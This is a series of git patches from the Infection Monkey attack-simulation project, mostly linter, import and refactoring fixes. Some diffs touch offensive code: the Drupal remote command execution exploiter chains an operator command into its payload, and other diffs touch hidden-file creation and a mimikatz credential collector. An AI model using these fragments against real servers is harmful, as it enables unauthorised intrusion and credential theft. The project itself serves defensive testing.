from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py
index 44e097630..0734bf606 100644
--- a/monkey/monkey_island/cc/services/netmap/net_edge.py
+++ b/monkey/monkey_island/cc/services/netmap/net_edge.py
@@ -1,7 +1,6 @@
from bson import ObjectId
from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
from monkey_island.cc.services.edge.edge import EdgeService
from monkey_island.cc.services.node import NodeService
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index fc18e0ef2..a537e4909 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -3,13 +3,11 @@ from datetime import datetime, timedelta
from typing import Dict
from bson import ObjectId
-from mongoengine import DoesNotExist
import monkey_island.cc.services.log
from monkey_island.cc import models
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.edge import Edge
from monkey_island.cc.network_utils import is_local_ips, local_ip_addresses
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
from monkey_island.cc.services.edge.edge import EdgeService
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index de8950042..1ff69163e 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -299,7 +299,7 @@ class AWSExporter(Exporter):
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.",
- recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
+ recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
@@ -316,7 +316,7 @@ class AWSExporter(Exporter):
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
- recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
+ recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
index 69c1e20f6..e67b4182a 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
@@ -4,7 +4,6 @@ import dateutil
from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.displayed_edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import \
diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py
index 9791ca386..334875477 100644
--- a/monkey/monkey_island/scripts/island_password_hasher.py
+++ b/monkey/monkey_island/scripts/island_password_hasher.py
@@ -7,7 +7,7 @@ for more details.
import argparse
-from Crypto.Hash import SHA3_512
+from Crypto.Hash import SHA3_512 # noqa: DUO133
def main():
From b26727d5e064e1e1a73183be3414b2789fb8b38a Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 14:36:26 +0300
Subject: [PATCH 25/81] Fix isort formatting
---
monkey/monkey_island/cc/main.py | 13 ++++++++-----
1 file changed, 8 insertions(+), 5 deletions(-)
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index d4e7a5394..96dfe9296 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -21,14 +21,17 @@ logger = logging.getLogger(__name__)
import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402
from common.version import get_version # noqa: E402
from monkey_island.cc.app import init_app # noqa: E402
-from monkey_island.cc.bootloader_server import BootloaderHttpServer # noqa: E402
-from monkey_island.cc.database import get_db_version, is_db_server_up # noqa: E402
+from monkey_island.cc.bootloader_server import \
+ BootloaderHttpServer # noqa: E402
+from monkey_island.cc.database import (get_db_version, # noqa: E402
+ is_db_server_up)
from monkey_island.cc.network_utils import local_ip_addresses # noqa: E402
-from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402
-from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402
+from monkey_island.cc.resources.monkey_download import \
+ MonkeyDownload # noqa: E402
+from monkey_island.cc.services.reporting.exporter_init import \
+ populate_exporter_list # noqa: E402
from monkey_island.cc.setup import setup # noqa: E402
-
MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
From f23199c4a39aeb49c2c5ee76919b8a3f5c2e288a Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 14:40:03 +0300
Subject: [PATCH 26/81] Fixed more warnings and lowered the linter upper limit
to double digits
---
.travis.yml | 2 +-
.../post_breach/actions/communicate_as_new_user.py | 2 +-
.../system_info/windows_info_collector.py | 12 ++++--------
.../infection_monkey/utils/windows/hidden_files.py | 2 +-
4 files changed, 7 insertions(+), 11 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index 59a97f60c..8586aaf38 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -72,7 +72,7 @@ script:
## Display the linter issues
- cat flake8_warnings.txt
## Make sure that we haven't increased the amount of warnings.
-- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
+- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=90
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
## Check import order
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 83065d20d..ce85c74c1 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA):
@staticmethod
def get_random_new_user_name():
- return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+ return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) # noqa: DUO102
@staticmethod
def get_commandline_for_http_request(url, is_windows=is_windows_os()):
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index d6b3cbec8..3e7b2bfff 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -7,14 +7,10 @@ from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector
MimikatzCredentialCollector
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
-# noinspection PyPep8
-import infection_monkey.config
-# noinspection PyPep8
-from common.utils.wmi_utils import WMIUtils
-# noinspection PyPep8
-from infection_monkey.system_info import InfoCollector
-# noinspection PyPep8
-from infection_monkey.system_info.wmi_consts import WMI_CLASSES
+import infection_monkey.config # noqa: E402
+from common.utils.wmi_utils import WMIUtils # noqa: E402
+from infection_monkey.system_info import InfoCollector # noqa: E402
+from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402
LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')
diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py
index a8f813f1b..6199fa88d 100644
--- a/monkey/infection_monkey/utils/windows/hidden_files.py
+++ b/monkey/infection_monkey/utils/windows/hidden_files.py
@@ -51,7 +51,7 @@ def get_winAPI_to_hide_files():
fileCreation = win32file.CREATE_ALWAYS # overwrite existing file
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
- hiddenFile = win32file.CreateFile(HIDDEN_FILE_WINAPI,
+ _ = win32file.CreateFile(HIDDEN_FILE_WINAPI,
fileAccess,
0, # sharing mode: 0 => can't be shared
None, # security attributes
From 9d26b5698cb7c84e169636f1cdb6377ae715ba63 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 14:47:47 +0300
Subject: [PATCH 27/81] Fix isort bug with comments
---
monkey/monkey_island/cc/main.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index 96dfe9296..610681034 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -23,8 +23,8 @@ from common.version import get_version # noqa: E402
from monkey_island.cc.app import init_app # noqa: E402
from monkey_island.cc.bootloader_server import \
BootloaderHttpServer # noqa: E402
-from monkey_island.cc.database import (get_db_version, # noqa: E402
- is_db_server_up)
+from monkey_island.cc.database import get_db_version # noqa: E402
+from monkey_island.cc.database import is_db_server_up # noqa: E402
from monkey_island.cc.network_utils import local_ip_addresses # noqa: E402
from monkey_island.cc.resources.monkey_download import \
MonkeyDownload # noqa: E402
From 1ae8ecff623e03baafca3727482bf6d05b17bb52 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 16:40:21 +0300
Subject: [PATCH 28/81] Move remote_port to a designated file and add UT
---
monkey/common/network/network_utils.py | 8 ++++++++
monkey/common/network/test_network_utils.py | 9 +++++++--
monkey/infection_monkey/exploit/drupal.py | 11 ++---------
3 files changed, 17 insertions(+), 11 deletions(-)
diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py
index 230e494bf..859bafb1f 100644
--- a/monkey/common/network/network_utils.py
+++ b/monkey/common/network/network_utils.py
@@ -1,3 +1,4 @@
+import re
from urllib.parse import urlparse
@@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
"""
url = urlparse("http://" + network_location)
return str(url.hostname)
+
+
+def remove_port(url):
+ parsed = urlparse(url)
+ with_port = f'{parsed.scheme}://{parsed.netloc}'
+ without_port = re.sub(':[0-9]+$', '', with_port)
+ return without_port
diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py
index b4194aa27..2351eba0e 100644
--- a/monkey/common/network/test_network_utils.py
+++ b/monkey/common/network/test_network_utils.py
@@ -1,12 +1,17 @@
from unittest import TestCase
-from common.network.network_utils import get_host_from_network_location
+from common.network.network_utils import get_host_from_network_location, remove_port
class TestNetworkUtils(TestCase):
- def test_remove_port_from_ip_string(self):
+ def test_get_host_from_network_location(self):
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
assert get_host_from_network_location("user:password@host:8080") == "host"
+
+ def test_remove_port_from_url(self):
+ assert remove_port('https://google.com:80') == 'https://google.com'
+ assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
+ assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 31b7a4cd2..c1b749ad9 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -5,23 +5,16 @@ Implementation is based on:
"""
import logging
-import re
import requests
-from urllib.parse import urljoin, urlparse
+from urllib.parse import urljoin
from infection_monkey.exploit.web_rce import WebRCE
+from network.network_utils import remove_port
__author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def remove_port(url):
- parsed = urlparse(url)
- with_port = f'{parsed.scheme}://{parsed.netloc}'
- without_port = re.sub(':[0-9]+$', '', with_port)
- return without_port
-
-
def build_url(*args) -> str:
f = ''
for x in args:
From c9ea95110ccf3079866bae9ef073487d774771b4 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 16:52:10 +0300
Subject: [PATCH 29/81] remove unnecessary function and replace with urljoin
---
monkey/infection_monkey/exploit/drupal.py | 11 ++---------
1 file changed, 2 insertions(+), 9 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index c1b749ad9..06cd17e54 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -15,13 +15,6 @@ __author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def build_url(*args) -> str:
- f = ''
- for x in args:
- f = urljoin(f, x)
- return f
-
-
def check_drupal_cache(r: requests.Response) -> bool:
"""
Check if a response had the cache header.
@@ -33,7 +26,7 @@ def find_articles(base_url: str, lower: int = 1, upper: int = 10):
""" Find a target article that does not 404 and is not cached """
articles = set()
while lower < upper:
- u = build_url(base_url, str(lower))
+ u = urljoin(base_url, str(lower))
r = requests.get(u)
if r.status_code == 200: # found an article
articles.add(lower)
@@ -75,7 +68,7 @@ class DrupalExploiter(WebRCE):
LOG.info('Could not find a Drupal node to attack')
continue
for node_id in node_ids:
- node_url = build_url(url, str(node_id))
+ node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
self.add_vuln_url(url) # Where is this used?
self.vulnerable_urls.append(node_url)
From accd6bd0faee5ce4b89a17be23338d3b2dfb32b7 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 17:16:53 +0300
Subject: [PATCH 30/81] See https://eslint.org/docs/rules/no-prototype-builtins
---
.travis.yml | 2 +-
.../cc/ui/src/components/map/preview-pane/PreviewPane.js | 4 ++--
.../cc/ui/src/components/pages/ConfigurePage.js | 7 ++++---
monkey/monkey_island/cc/ui/src/components/pages/MapPage.js | 2 +-
.../cc/ui/src/components/pages/RegisterPage.js | 2 +-
.../monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +-
.../cc/ui/src/components/pages/RunMonkeyPage.js | 2 +-
.../cc/ui/src/components/report-components/AttackReport.js | 6 +++---
.../report-components/attack/ReportMatrixComponent.js | 6 +++---
.../report-components/attack/TechniqueDropdowns.js | 4 ++--
.../zerotrust/venn-components/VennDiagram.js | 4 ++--
.../cc/ui/src/components/run-monkey/AwsRunTable.js | 2 +-
.../cc/ui/src/components/ui-components/Checkbox.js | 2 +-
monkey/monkey_island/cc/ui/src/services/AuthService.js | 4 ++--
14 files changed, 25 insertions(+), 24 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index 8586aaf38..fcd9fc36b 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -89,7 +89,7 @@ script:
- cd monkey_island/cc/ui
- npm ci # See https://docs.npmjs.com/cli/ci.html
- eslint ./src --quiet # Test for errors
-- JS_WARNINGS_AMOUNT_UPPER_LIMIT=28
+- JS_WARNINGS_AMOUNT_UPPER_LIMIT=4
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings
# Build documentation
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
index 27800cb97..9007194b0 100644
--- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
@@ -274,9 +274,9 @@ class PreviewPaneComponent extends AuthComponent {
let label = '';
if (!this.props.item) {
label = '';
- } else if (this.props.item.hasOwnProperty('label')) {
+ } else if (Object.prototype.hasOwnProperty.call(this.props.item, 'label')) {
label = this.props.item['label'];
- } else if (this.props.item.hasOwnProperty('_label')) {
+ } else if (Object.prototype.hasOwnProperty.call(this.props.item, '_label')) {
label = this.props.item['_label'];
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index f3b3e190c..426e66c0a 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -140,7 +140,7 @@ class ConfigurePageComponent extends AuthComponent {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
- if (techType[1].properties.hasOwnProperty(technique)) {
+ if (Object.prototype.hasOwnProperty.call(techType[1].properties, technique)) {
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
@@ -151,7 +151,8 @@ class ConfigurePageComponent extends AuthComponent {
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
- if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
+ if (Object.prototype.hasOwnProperty.call(otherTech[1], 'depends_on') &&
+ otherTech[1]['depends_on'].includes(technique)) {
this.attackTechniqueChange(otherTech[0], value, true)
}
})
@@ -393,7 +394,7 @@ class ConfigurePageComponent extends AuthComponent {
render() {
let displayedSchema = {};
- if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
+ if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties') && this.state.selectedSection !== 'attack') {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
index cf082f5b3..da11c7ed6 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -64,7 +64,7 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap')
.then(res => res.json())
.then(res => {
- if (res.hasOwnProperty('edges')) {
+ if (Object.prototype.hasOwnProperty.call(res, 'edges')) {
res.edges.forEach(edge => {
edge.color = {'color': edgeGroupToColor(edge.group)};
});
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js
index 657e8645a..3b8188221 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js
@@ -3,7 +3,7 @@ import {Row, Col, Container, Form, Button} from 'react-bootstrap';
import AuthService from '../../services/AuthService';
import monkeyDetective from '../../images/detective-monkey.svg';
-import ParticleBackground from "../ui-components/ParticleBackground";
+import ParticleBackground from '../ui-components/ParticleBackground';
class RegisterPageComponent extends React.Component {
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 5329cfe06..cb30ba117 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -31,7 +31,7 @@ class ReportPageComponent extends AuthComponent {
static selectReport(reports) {
let url = window.location.href;
for (let report_name in reports) {
- if (reports.hasOwnProperty(report_name) && url.endsWith(reports[report_name])) {
+ if (Object.prototype.hasOwnProperty.call(reports, report_name) && url.endsWith(reports[report_name])) {
return reports[report_name];
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
index 48a11f008..467812373 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
@@ -229,7 +229,7 @@ class RunMonkeyPageComponent extends AuthComponent {
// update existing state, not run-over
let prevRes = this.awsTable.state.result;
for (let key in result) {
- if (result.hasOwnProperty(key)) {
+ if (Object.prototype.hasOwnProperty.call(result, key)) {
prevRes[key] = result[key];
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
index 97f3c1a18..6a6d0c75f 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
@@ -134,7 +134,7 @@ class AttackReport extends React.Component {
getTechniqueByTitle(title){
for (const tech_id in this.state.techniques){
- if (! this.state.techniques.hasOwnProperty(tech_id)) {return false;}
+ if (! Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)) {return false;}
let technique = this.state.techniques[tech_id];
if (technique.title === title){
technique['tech_id'] = tech_id;
@@ -148,10 +148,10 @@ class AttackReport extends React.Component {
// add links to techniques
schema = schema.properties;
for(const type in schema){
- if (! schema.hasOwnProperty(type)) {return false;}
+ if (! Object.prototype.hasOwnProperty.call(schema, type)) {return false;}
let typeTechniques = schema[type].properties;
for(const tech_id in typeTechniques){
- if (! typeTechniques.hasOwnProperty(tech_id)) {return false;}
+ if (! Object.prototype.hasOwnProperty.call(typeTechniques, tech_id)) {return false;}
if (typeTechniques[tech_id] !== undefined){
techniques[tech_id]['link'] = typeTechniques[tech_id].link
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js
index a110da5ea..00420f095 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js
@@ -15,7 +15,7 @@ class ReportMatrixComponent extends React.Component {
getColumns() {
let columns = [];
for(const type_key in this.state.schema.properties){
- if (! this.state.schema.properties.hasOwnProperty(type_key)){
+ if (! Object.prototype.hasOwnProperty.call(this.state.schema.properties, type_key)){
continue;
}
let tech_type = this.state.schema.properties[type_key];
@@ -32,11 +32,11 @@ class ReportMatrixComponent extends React.Component {
getTableRows() {
let rows = [];
for (const tech_id in this.state.techniques) {
- if (this.state.techniques.hasOwnProperty(tech_id)){
+ if (Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)){
let technique_added = false;
let technique = this.state.techniques[tech_id];
for(const row of rows){
- if (! row.hasOwnProperty(technique.type)){
+ if (! Object.prototype.hasOwnProperty.call(row, technique.type)){
row[technique.type] = technique;
technique_added = true;
break;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js
index c32c4e16e..1ba9285e6 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js
@@ -79,13 +79,13 @@ class TechniqueDropdowns extends React.Component{
getOrderedTechniqueList(){
let content = [];
for(const type_key in this.state.schema.properties){
- if (! this.state.schema.properties.hasOwnProperty(type_key)){
+ if (! Object.prototype.hasOwnProperty.call(this.state.schema.properties, type_key)){
continue;
}
let tech_type = this.state.schema.properties[type_key];
content.push({tech_type.title}
);
for(const tech_id in this.state.techniques){
- if (! this.state.techniques.hasOwnProperty(tech_id)){
+ if (! Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)){
continue;
}
let technique = this.state.techniques[tech_id];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
index e6a2ddd36..4eddb420d 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
@@ -209,7 +209,7 @@ class VennDiagram extends React.Component {
if (key_ === 'Data') {
this.layout[key_].fontStyle = this.fontStyles[0];
- } else if (this.layout[key_].hasOwnProperty('cx')) {
+ } else if (Object.prototype.hasOwnProperty.call(this.layout[key_], 'cx')) {
this.layout[key_].fontStyle = this.fontStyles[1];
} else {
this.layout[key_].fontStyle = this.fontStyles[2];
@@ -229,7 +229,7 @@ class VennDiagram extends React.Component {
// equivalent to center translate (width/2, height/2)
let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height;
let nodes = Object.values(this.layout).map((d_, i_) => {
- if (d_.hasOwnProperty('cx')) {
+ if (Object.prototype.hasOwnProperty.call(d_, 'cx')) {
return (
response.json())
.then(res => {
- if (res.hasOwnProperty('access_token')) {
+ if (Object.prototype.hasOwnProperty.call(res, 'access_token')) {
this._setToken(res['access_token']);
return {result: true};
} else {
@@ -86,7 +86,7 @@ export default class AuthService {
headers['Authorization'] = 'Bearer ' + this._getToken();
}
- if (options.hasOwnProperty('headers')) {
+ if (Object.prototype.hasOwnProperty.call(options, 'headers')) {
for (let header in headers) {
options['headers'][header] = headers[header];
}
From b82a6e48b285f8e0e3ecde79a3da3b3bd2d4ed52 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 17:55:04 +0300
Subject: [PATCH 31/81] use ID_STRING instead of dashes
---
monkey/infection_monkey/exploit/drupal.py | 11 ++++++-----
1 file changed, 6 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 06cd17e54..fa5222146 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -8,6 +8,7 @@ import logging
import requests
from urllib.parse import urljoin
from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.model import ID_STRING
from network.network_utils import remove_port
__author__ = 'Ophir Harpaz'
@@ -70,7 +71,7 @@ class DrupalExploiter(WebRCE):
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
- self.add_vuln_url(url) # Where is this used?
+ self.add_vuln_url(url) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
break
@@ -114,7 +115,7 @@ class DrupalExploiter(WebRCE):
def exploit(self, url, command):
# pad a easy search replace output:
- cmd = 'echo ---- && ' + command
+ cmd = f'echo {ID_STRING} && {command}'
base = remove_port(url)
payload = {
"link": [
@@ -145,10 +146,10 @@ class DrupalExploiter(WebRCE):
if check_drupal_cache(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
- if '----' not in r.text:
- LOG.info('[warn] Command execution _may_ have failed')
+ if ID_STRING not in r.text:
+ LOG.warning('Command execution _may_ have failed')
- result = r.text.split('----')[-1]
+ result = r.text.split(ID_STRING)[-1]
LOG.info(f'Drupal exploit result = {result}')
return result
From 6184400f514de122cb88d9b41d85758d369e9b37 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 17:55:24 +0300
Subject: [PATCH 32/81] mention Drupal REST API requirement
---
.../ui/src/components/report-components/SecurityReport.js | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index d5bfff63a..250f90546 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -793,10 +793,9 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to remote command execution attack.
- The attack was made possible because the server is using an old version of Drupal.
- For possible workarounds and more info read here.
+ The attack was made possible because the server is using an old version of Drupal, for which REST API is
+ enabled. For possible workarounds and more info read
+ here.
>
);
From 5696c3e5368119b21c618ceb34646c7fe2dec7df Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 31 Aug 2020 18:06:08 +0300
Subject: [PATCH 33/81] Some more easy noqas or invalid escape fixes
---
monkey/infection_monkey/main.py | 3 ++-
monkey/infection_monkey/model/__init__.py | 2 +-
monkey/infection_monkey/network/ping_scanner.py | 2 +-
monkey/infection_monkey/network/sshfinger.py | 2 +-
.../job_scheduling/windows_job_scheduling.py | 2 +-
monkey/infection_monkey/transport/__init__.py | 2 +-
monkey/infection_monkey/transport/tcp.py | 2 +-
monkey/infection_monkey/utils/hidden_files.py | 4 ++--
.../infection_monkey/utils/windows/hidden_files.py | 12 ++++++------
9 files changed, 16 insertions(+), 15 deletions(-)
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index cad4a00c0..e4698a462 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -7,8 +7,9 @@ import sys
import traceback
from multiprocessing import freeze_support
+# dummy import for pyinstaller
# noinspection PyUnresolvedReferences
-import infection_monkey.post_breach # dummy import for pyinstaller
+import infection_monkey.post_breach # noqa: F401
from common.version import get_version
from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration
from infection_monkey.dropper import MonkeyDrops
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e7ab94495..4f3f2c27d 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
